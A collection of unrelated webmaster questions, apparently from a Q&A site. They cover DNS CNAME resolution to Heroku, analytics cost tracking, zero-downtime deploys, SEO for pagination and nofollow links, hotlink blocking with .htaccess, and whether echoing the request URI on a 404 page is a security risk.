I have a domain set with a `CNAME` alias to point to Heroku, but it is not resolving. Here is a link to a screenshot: http://awesomescreenshot.com/03226ntoc4 And here is the output from `nslookup`:               $ nslookup -query=any tyger.ac. dns1.name-services.com     Server:  dns1.name-services.com     Address:  98.124.192.1          tyger.ac        nameserver = dns3.name-services.com     tyger.ac             primary name server = dns1.name-services.com             responsible mail addr = info.name-services.com             serial  = 2002050701             refresh = 10800 (3 hours)             retry   = 3600 (1 hour)             expire  = 604800 (7 days)             default TTL = 3600 (1 hour)     tyger.ac        nameserver = dns2.name-services.com     tyger.ac        MX preference = 5, mail exchanger = eforwardct.name-services.com     tyger.ac        MX preference = 5, mail exchanger = eforwardct3.name-services.com     tyger.ac        MX preference = 5, mail exchanger = eforwardct2.name-services.com     tyger.ac        nameserver = dns4.name-services.com     tyger.ac        nameserver = dns5.name-services.com     tyger.ac        nameserver = dns1.name-services.com     dns2.name-services.com  internet address = 98.124.197.1     dns3.name-services.com  internet address = 98.124.193.1     dns1.name-services.com  internet address = 98.124.192.1     dns4.name-services.com  internet address = 98.124.194.1     dns5.name-services.com  internet address = 98.124.196.1      Here is the destination host:               $ nslookup mie-6031.herokussl.com     Non-authoritative answer:     Server:  google-public-dns-a.google.com     Address:  8.8.8.8          Name:    elb033514-473924049.us-east-1.elb.amazonaws.com     Addresses:  50.16.211.233               23.23.138.171               54.243.232.221     Aliases:  mie-6031.herokussl.com


How do I track Yahoo Adwords campaigns in Google Analytics with cost data?

I'm currently diving into Yahoo's adwords program and am wondering if its possible to track their ad campaigns in Google Analytics with cost data so I can trace my costs to my revenue. Has anyone accomplished this or know a good way to do it? Thanks for looking!


How can I update my site without forcing users to wait?

Downtime is inconvenient for users and currently they have to wait any time a site's engine is being upgraded. Additionally, when using off-the-shelf scripts there's a risk that a setting change won't work as well as intended (even if they've been tested on a staging site). How can I keep multiple versions of a site on a server and switch between them without causing any downtime (e.g. with a htaccess file)?


How to I advertise my web application?

I would like to know the options I have on advertising my web application ? Are there websites I can submit my web application to ?   * How important is search engine optimization ? How much effort should I put into it ?   * Currently, my application has two clients, google chrome extension and an emacs client. Are there specific websites/forums I can post these clients to ?   * Any general advice I should follow to advertise my application ? Little about the application: It is a note taking application, in which tags are implicitly created from the notes. If this question should not be posted here, I will delete it. Thanks.


Avoid pagination pages from appearing higher than real content in SERPS

I have a gallery-type website that has about 20k of pages and naturally it uses pagination. However, sometimes `/page/2` appears higher in search results than `/post/201339` for example. I'd like to give emphasis to the actual content (posts, videos, whatever the site is about) and not on pages that merely list this content in a paginated matter. What is the best way to avoid this issue? Maybe a `NOINDEX,FOLLOW` meta tag on the paginated pages?


Stackexchange vs Personal Blog - Pagerank Competition

As you can see I'm using my real name on every StackExchange site including stackoverflow.com. Given an unspecific time period, is it possible for my very own personal blog to compete with any StackExchange Site? I really like my personal blog to be page rank one and don't have to change my name i.e. on Stackoverflow. ![alt text](http://i.stack.imgur.com/gif3D.jpg)


Do Flash head banner texts need to coincide with the text on the underlying HTML banner?

Let's say you have a flash head banner on the page that you are trying to optimize. Let's also assume that you've incorporated an underlying HTML banner for SEO purposes. Now, do you think Google actually "reads" flash content and can penalize you for not using the same content on both headers?


What affiliate network would you recommend and why?

There are many ad and affiliate networks out there, that each try to cover a niche. Please list your favorites and give some reasons why you like them.


404 page echoing request URI - security risk?

I just noticed the default 404 page on one of my hosting accounts displays the requested URI. `<!--#echo var="REQUEST_URI" -->` I faintly remember hearing or reading that this is a potential vulnerability of some sort. However, it's hard to believe that a hosting provider would include this in their default 404 page if it was. So, is this a vulnerability or not?


prevent hotlinking of off-site content?

I have a `www.example.com` site where I serve all static content (e.g. `http.//www.example.com/image.jpg`) off a CDN with URLs like `http://static.example.com/image.jpg` An Apache 2 .htaccess rule prohibits non-empty, `non-example.com` referrals:               <IfModule mod_rewrite.c>     RewriteEngine On     RewriteCond %{HTTP_REFERER} !^$     RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?example.com [NC]     RewriteCond %{HTTP_REFERER} !^http(s)?://example.cloudfront.net [NC]     RewriteRule \.(jpeg|jpg|gif|bmp|png|mp3)$ - [NC,F,L]     </IfModule>      I still receive huge amounts of traffic from a very popular website that uses some sort of "news roundup" feature and hotlinks to `www.example.com/image.jpg` (instead of static.example.com): this resource exists (for origin pull reasons), but the URL is not published anywhere. In fact, serving so many 403s is bringing my server down. How can this kind of hotlink traffic be blocked, or at least, how can it be redirected to the CDN before it reaches and cripples apache2?


How important is that we use REL="NOFOLLOW" in external links?

I hear to improve pagerank and other SEO factors, we should use `rel="nofollow"` on links to external sites. Why is this? So if I'm not using `rel="nofollow"` will search engine bots credit the linked site more than my website for the information contained on my blog?


Web marketing: tangible advantages of being on Twitter?

Could someone explain me what could be an advnatage of being on Twitter for a company website? Except the fact that it's on fashion right now. :) I'm asking because on so many site I find the "little bird" with the words " **FOLLOW** us on Twitter". Cool I click on the bird and it brings me to the Twitter page of the company. Ihave seen these Twitter's page on many sites, but these pages are always a list of short messages that I don't understand. Soem seem to be private message, some seem to be advertisments from others. What should I **FOLLOW** in those messages? How should I read through those messages? Could you give a real life example that shows what's a potenatial advanatge of being on Twitter? Thanks * * * **UPDATE:** Just some example of hosting companies useing Twitter. Plz have a look and explain me what's the catch, what are they getting out from these (to me useless) twitter pages? http://twitter.com/inmotionhosting http://twitter.com/arhoster


Google non-SSL search not passing the "q" parameter with keyword

I am building a web analytics application for search engine traffic only and right now I am looking into providing some information about keywords that Google does not show. Like not provided keyword. I know that Google will not send you the keyword if the user did a secure search (SSL), but if the search is non-SSL, it should send it with all the parameters. So I have a referral coming from Google that is HTTP, not HTTPS, it does send some parameters, but it leaves the keyword parameter `q` blank. This is the example: `http://www.google.es/url?sa=t&rct=j&q=&esrc=s&source=web&cd=9&ved=0CIUBEBYwCA&url=http%3A%2F%2Fwww.example.com%2Fsome- page-here&ei=FVOOUfLWJe2O7Aa7vYDgDg&usg=AFQjCNGD0Rr7gWxrdLaHgQ- SLjjDNruWpQ&sig2=83GBx7n-PYvKyOfUZHRCmw&bvm=bv.46340616,d.ZGU` As you see there's no keyword in the `q` parameter, anyone knows what kind of search is this and why it leaves it empty?


How is it possible to add an image border to the left and right of a wrapper?

I'd like to add a border image on the left and right of a wrapper element to give it a ripped paper effect. I've tried using the before and after pseudo selectors but I couldn't get the image to repeat along the y-axis. What is the best way to achieve the deisred result? Thanks.


how to remove old data from structure data webmaster tool

![Google Webmaster tool](http://i.stack.imgur.com/GplIE.png) How can I remove old items from Structured Data? see attached image, want to delete old records, as its showing 2013 records which were already fixed.


Separate site for website and web application - implications for SEO?

I have a web application - primarily reserved for members but with some open access for trialling, and I have a website that is the main public face for the web application. The two are on two different websites. The main function of the website is to describe what you can do on the web application. If you want to try the app, the website sends you over to the web application. Are there any implications for SEO from this setup?